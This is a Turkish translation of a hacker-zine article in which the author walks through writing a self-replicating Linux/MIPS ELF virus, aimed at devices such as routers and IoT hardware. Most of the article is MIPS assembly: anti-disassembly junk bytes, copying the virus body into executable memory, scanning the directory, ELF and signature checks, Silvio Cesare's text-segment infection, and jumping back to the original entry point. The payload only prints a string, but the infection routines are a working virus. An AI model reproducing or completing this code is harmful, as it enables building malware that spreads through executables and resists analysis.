┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ │ █ │ Writing Viruses In MIPS Assembly For Fun (And No Profit) │ █ │ ~ S01den └───────────────────█ ──┘ [ Çeviri @batcain tarafından yapılmıştır ] tmp.out ekibinden S01den tarafından sevgiyle ! 01/2021 +----------- İletişim -----------+ | twitter: @s01den | | mail: S01den@protonmail.com | +--------------------------------+ .---\ Giriş /---. Bu kısa(?) yazıda, sizlere Linux/MIPS sistemleri (modemler, Iot cihazlar, oyun konsolları vb.) hedef alan ve saf MIPS assembly ile yazdığım Lin32.MIPS.Bakunin[0] zararlısını nasıl yazdığımı anlatıyor olacağım. Anlaşıldığı üzere yazdığım bu virüsü yaymadım ve yaymayacağım. Sizler de yayma aptallığını göstermeyin. Geliştirmek istediğim eğlenceli tekniklerden birkaç tanesini, PIE varlığına rağmen zararlının asıl giriş noktasını (OEP) hesaplatmak ya da virüsün asıl kodlarını karmaşıklaştırıp dizilimleri ve konumları birkaç byte değiştirerek mahvetmek gibi, başka birçok sürprizle beraber kullandım. Herhangi bir şeye değinmeden önce Bakunin zararlısının özelliklerini özetleyelim: - Silvio Cesare'ye ait text dosyalarına bulaşma tekniği[1] sağolsun, bulunulan dizindeki bütün ELF dosyalarını PIE olsun ya da olmasın enfekte etme (dosyaların text segmentinin tanımını virüsün kodu ile değiştimeyi sağlıyor) - Basit ancak güçlü bir tersine mühendisliği zorlaştırma tekniği olarak "false-disassembly[2]" kullanımı - Ekrana "X_X" bastırma (Görebileceğiniz üzere epey başarılı bir payload) - Bakunin muazzam bir anarşist filozof idi. (Bu değil, gerçeği) Sizi heyecanlandırdığımıza göre artık Lin32.MIPS.Bakunin kaynak kodunu detaylıca inceleyebiliriz! .---\ false-disassembly Tekniğinin İmplementasyonu /---. \ MIPS assembly: Girişin Kodlanması / Başlamadan önce kısaca false-disassembly tekniğini açıklamak istiyorum. Bu tersine mühendislik karşıtı teknik basitçe ilk birkaç byte değerinin üzerine yazarak byte sıralamalarını ve yerlerini değiştirmek olarak açıklanabilir. Disassembler söz konusu yeni byte değerlerini yeniden yorumlarken instruction değerlerinin başındaki "hayalet" byte dizilerinden yola çıkacağından, byte değerleri eklendikten sonra disassemble edilmiş kodlar oldukça absürt görünecektir. Örnek olarak aşağıdaki kod parçası verilebilir. (benim yazdığım virüse ait değil) -------------------- cut-here -------------------- jmp hey+2 # hayalet byte değerlerinin üstünden atlanan kısım hey: hey: xor %rbx, %rbx .ascii "\x48\x31" jmp yo ====> xor %rbx, %rbx jmp yo --------------------------------------------------- Şayet verilen örnek doğrultusunda false-disassembly uygulanmış ve uygulanmamış kodları karşılaştıracak olursak aşağıdaki kod blokları görülmektedir. (radare2 ftw): -------------------- cut-here -------------------- ;-- hey: 0x00401002 4831db xor rbx, rbx 0x00401005 eb02 jmp 0x401009 || \/ ;-- hey: 0x00401002 48314831 xor qword [rax + 0x31], rcx 0x00401006 dbeb fucomi st(3) 0x00401008 026631 add ah, byte [rsi + 0x31] --------------------------------------------------- Bahsettiğimiz tersine mühendislik karşıtı teknik, MIPS mimarisi göz önüne alındığında oldukça kullanışlı bir tekniktir. Çünkü MIPS mimarisinde kullanılan instruction değerlerinin byte uzunlukları sabit olmakla beraber 4 byte uzunluğundadır. Dolayısıyla insruction adresleri dördün katları olarak hizalanmak zorundadır. (adresler 0x0, 0x4, 0x8 ya da 0xc değerleriyle sonlanmaktadır) Sonuç olarak, hayalet byte değerleri olarak anlamlı değerler seçmesek dahi istediğimiz byte değerlerini hayalet byte değerleri olarak koyabiliriz çünkü byte hizalaması ne koyarsak koyalım bozulmuş olacak: 0x004000b3 unaligned 0x004000b4 fc004003 invalid 0x004000b8 a0182523 sb t8, 0x2523(zero) 0x004000bc bdf00003 cache 0x10, 3(t7) 0x004000c0 a0202524 sb zero, 0x2524(at) 0x004000c4 0500ff24 bltz t0, 0x3ffd58 0x004000c8 02106b00 invalid 0x004000cc 00000c03 sra at, zero, 0x10 0x004000d0 a0202524 sb zero, 0x2524(at) 0x004000d4 05000024 bltz t0, 0x400168 ... Gördüğünüz üzere sonuç sadece çöp :) Ne yazık ki, yukarıda da açıkladığım üzere MIPS mimarisinde kafamıza esen her adrese "atlayamıyoruz"; hizalama dolayısıyla yalnızca dördün katları olan adreslere atlamak zorundayız. Bu nedenden dolayı yazacağım virüsü giriş ve gövde olarak iki parçada ele almaya karar verdim. Kodun giriş kısmında program akışına devam edebilmek için, hizalanmamış vaziyette duran, gövde diye adlandırdığımız kodu çalıştırılabilir bir alana kopyalayacağız.(arkasından gelen .get_vx rutini sağolsun) Başka bir deyişle, hizası bozuk olan instruction'ların hizasını düzeltip devam edeceğiz. --= mmap2 sistem çağrısını çağırma =-- # Registerlara dörtten fazla argümanı ($a0...$a3) nasıl vereceğimi bilmiyordum # bu yüzden ben de mmap() çağrısını kullanan basit bir program yazdığım # sonrasında bu programı statik link kullanıp oluşturdum ve # mmap çağrısının nasıl çağrıldığını görmek için assembly kodlarını inceledim, # böylece aşağıda gördüğünüz üç satırlık kodu elde ettim sw $zero,20($sp) li $v0,0 sw $v0,16($sp) li $a0, 0 li $a1, 0x6a8 # virüsün boyutu li $a2, 7 # PROT_READ|PROT_WRITE|PROT_EXEC li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE li $v0, 4210 # sys_mmap2 syscall ------------------------------ Yukarıdaki assembly kodu şu çağrıyı temsil ediyor: mmap2(NULL, 0x6a8, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); Hafızada alan ayrıldıktan sonra, virüsün gövdesi için yazdığımız kodları(false-disassembly tekniğini uyguladıktan sonra) kopyalıyoruz. --= Virüs gövdesini kopyalama =-- bgezal $zero, get_pc # Direkt instruction adreslerine erişip koda ulaşıyoruz # add $t1, $t1, 0x6f # 0x6f = gövdeye kadar olan byte sayısı # $t1 gövde adresini içeriyor move $t2, $v0 # $t2 mmap ile ayarladığımız hafızanın adresini tutuyor li $t0, 0 # $t0 ise sayacımız olacak .get_vx: lb $t3, 0($t1) # teker teker aldığımız byte değeri $t3 üzerinde tutuluyor sb $t3, 0($t2) # sonrasında bu byte değerini $t2 üzerinde tuttuğumuz # adrese yazıyoruz addi $t0, $t0, 1 addi $t1, $t1, 1 addi $t2, $t2, 1 blt $t0, 0x615, .get_vx # gövde 0x615 bayttan oluşuyor jal $v0 # mmap ile ayrılan bölgeye atlayan kod satırı beq $zero, $zero, eof # gövde payloadımızı çalıştırdıktan sonra bu satıra dönecek get_pc: # $t1 register üzerinde kaydedilen eip (MIPS mimarisinde pc deniyor) # değerine döndüğümüz kısım move $t1, $ra jr $ra --------------------------------- not: "beq" ya da "bgezal" gibi instruction'ları göreli atlamaları (diğer türlü zararlı kodumuzu çalıştıramazdık) yapmak amacıyla virüslerde kullanıyoruz. Klasik atlama komutları (j ya da jal gibi) mutlak adrese göre çalışıyor olmaları nedeniyle gerçekleştirmek istediğimiz operasyon için uygun değil. Virüsümüzün giriş kısmının sonu yalnızca sys_exit sistem çağrısından, 9 tane instruction'a (eof rutini bulaşma aşamasından sonra yeniden yazılacak çünkü PIE olmasına rağmen OEP adresinin hesaplanması gerekiyor) yer açmak için koyduğumuz tampon bölgeden ve gövdedeki sıralamayı bozmak için koyduğumuz hayalet byte değerlerinden (.ascii "\xeb\x01\xe8") oluşuyor. .---\ Bütün dizine zararlı bulaştırma: Gövdenin kodlanması /---. Artık gövdeyi yazdığımız kısma geldiğimize göre, klasik virüs işlemlerini yapabiliriz. Başka çalıştırılabilir dosyaları bulaştırmak için virüsümüzün bulunduğu dizindeki potansiyel enfekte edilebilir dosyaları tespit etmesi gerekiyor. Bulunduğumuz dizinin adını sys_getcwd çağrısı ile elde etmemizin ardından sys_open çağrısı ile dizini açabiliriz. Dizini açtıktan sonra, dizin içerisindeki dosyaların adını içeren yapıyı elde etmek için sys_getdents64 çağrısını kullanıyoruz. Elde ettiğimiz dosya yapısını ise aşağıdaki kod ile işleyebiliriz. --= "dirent" yaspısının işlenmesi =-- li $s0, 0 # s0 sayacımız olacak parse_dir: move $s2, $sp # s2 dosya adının adresini barındıracak addi $s2, $s2, 0x13 # d_name li $t1, 0 addi $t1, $sp, 0x12 lb $t1, 0($t1) # t1 artık dosya/dizin tipini tutuyor bgezal $zero, infect li $t9, 0 # get d_reclen (dirent64 yapısının işleyişini inceleyin...) addi $t9, $sp, 0x10 lb $t0, 1($t9) # buffer position += d_reclen add $s0, $s0, $t0 add $sp, $sp, $t0 blt $s0, $s1, parse_dir # eğer sayaç < dosya/dizin sayısı : jmp to parse_dir ------------------------------------ Sonrasında, bulunduğumuz dizindeki her bir dosyayı mmap çağrısı ile aşağıdaki şekilde açıyoruz: mmap2(NULL, len_file, PROT_WRITE|PROT_EXEC, MAP_SHARED, fd, 0) ardından bu dosyaların virüsümüzü barındırıp barındıramayacağını kontrol ediyoruz: --= B4zı kontroller =-- # $s5 mmap çağrısıyla ayrılan alanın adresini barındırıyor .check_magic: lw $t0, 0($s5) li $t1, 0x7f454c46 # dosyanın ELF olup olmadığını kontrol et (magic byte kontrolü ile) bne $t0, $t1, end .check_bits: lb $t0, 4($s5) bne $t0, 1, end # burada e_ident[EI_CLASS] değerini kontrol ediyoruz, # Bu sayede enfekte etmeye çalıştığımız ELF dosyasının 32/64 bit # olup olmadığını kontrol ediyoruz (eğer 64 bit ise, goto end) .check_signature: lw $t0, 9($s5) # imza e_hdr.padding yapısında bulunuyor, Lin64.Kropotkine[3] # yapısında olduğu gibi beq $t0, 0xdeadc0de, end ---------------------- Bütün bu kontroller sonucunda hala programı sona yönlendirmemişsek artık dosyayı enfekte edebiliriz. Bu işlem için silvio'nun bulaştırma tekniğini kullanıyoruz: ".text segmentinin sonuna kod eklemek için aşağıdaki işlemlerin yapılması gerekmektedir." * ELF başlıklarına yeni kod eklenebilmesi için p_shoff'un artırılması * Program başlıklarında text segmentinin bulunması * Eklenecek kod için p_filesz değerinin artırılması * Eklenecek kod için p_memsz değerinin artırılması * Kodun eklenmesinin ardından her phdr alanı için (text segmenti): * Yeni konumu yansıtmak için kodun eklenmesinin ardından p_offset değerinin artırılması * Kodun eklenmesinin ardından her section için shdr değeri için: * Yeni kod için sh_offset değerinin artırılması * Fiziksel olarak yeni kodun dosyaya eklenmesi - text segmenti p_offset + p_filesz (orijinal)"[1] Enfeksiyon işleminin oldukça uzun olması nedeniyle oldukça yorum satırı eklediğimi düşünüyorum, dolayısıyla kodumu burada satır satır açıklamayacağım. Öncelikle virüsün giriş kısmının yazılması gerektiği aklınızda bulunsun. Çünkü mmapp ile ayrılmış alanda çalışırken, giriş kısmını gövde için yaptığımız gibi dışarıdan yerleştiremiyoruz(çünkü giriş kısmı mmap ile ayrılan alanda bulunmuyor), dolayısıyla ben de bu kısımları elle yazdım. Elle yazılmış giriş kısmınıı kopyaladıktan sonra, OEP noktasını hesaplattığım kodu (yine elle) yazdım. Lin64.Kropotkine[3] için kullandığım methodun aynını kullandım. (ELF_master'ın PIE[4]'e rağmen OEP noktasını hesapladığı teknik) Bu teknik temelde aşağıdaki operasyonu gerçekleştiriyor: get_rip() - number_of_bytes_before - new_EP + original-e_hdr.entry Yukarıda verilen hesabı yapmak için kullanılan MIPS kodu: TODO: Buradan tam emin olamadım ------------------- elle yazılacak kod ------------------- 0411fff5 bal get_pc 00000000 nop 2129fc70 addi t1, t1, -0x74 # bu instruction'dan öncesindeki # byte sayısını çıkart 3401dead ori at, zero, new_EP 01214822 sub t1, t1, at 2129beef addi t1, t1, OEP 0060e825 move sp, v1 # stack'i eski haline getir 01200008 jr t1 # Hesaplanan OEP noktasına atla ------------------------------------------------------------ Bütün bu işlemlerin ardından gövdeyi dosyaya koyup değişiklikleri kaydedebilir (sys_msync ve sys_munmap çağrıları aracılığıyla) ve başka bir dosyayı enfekte etmek üzere sonunda dosyayı kapatabiliriz. Bütün dizini enfekte ettikten sonra, yalnızca ("X_X") payloadını çalıştırıp çıkış yapıyoruz! .---\ Sonuç /---. Umarım bu yazıyı beğenmişsinizdir! Çünkü ben bu virüsü yazarken çok şey öğrendim, daha önce MIPS mimarisi üzerine hiçbir şey yazmamıştım. Aynı zamanda umuyorum ki siz de en az benim iki ay boyunca bu virüs üzerinde çalışırken öğrendiklerim kadar bir şeyler öğrenebilmişsinizdir. .---\ Notlar ve Referanslar /---. [0] Kaynak kodun yeri [1] Silvio'nun enfeksiyon üzerine yazdığı yazı http://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix02.htm [2] http://www.ouah.org/linux-anti-debugging.txt [3] https://github.com/vxunderground/MalwareSourceCode /blob/main/VXUG/Linux.Kropotkine.asm [4] https://bitlackeys.org/papers/pocorgtfo20.pdf --- Source --- - Linux.Bak0unin.asm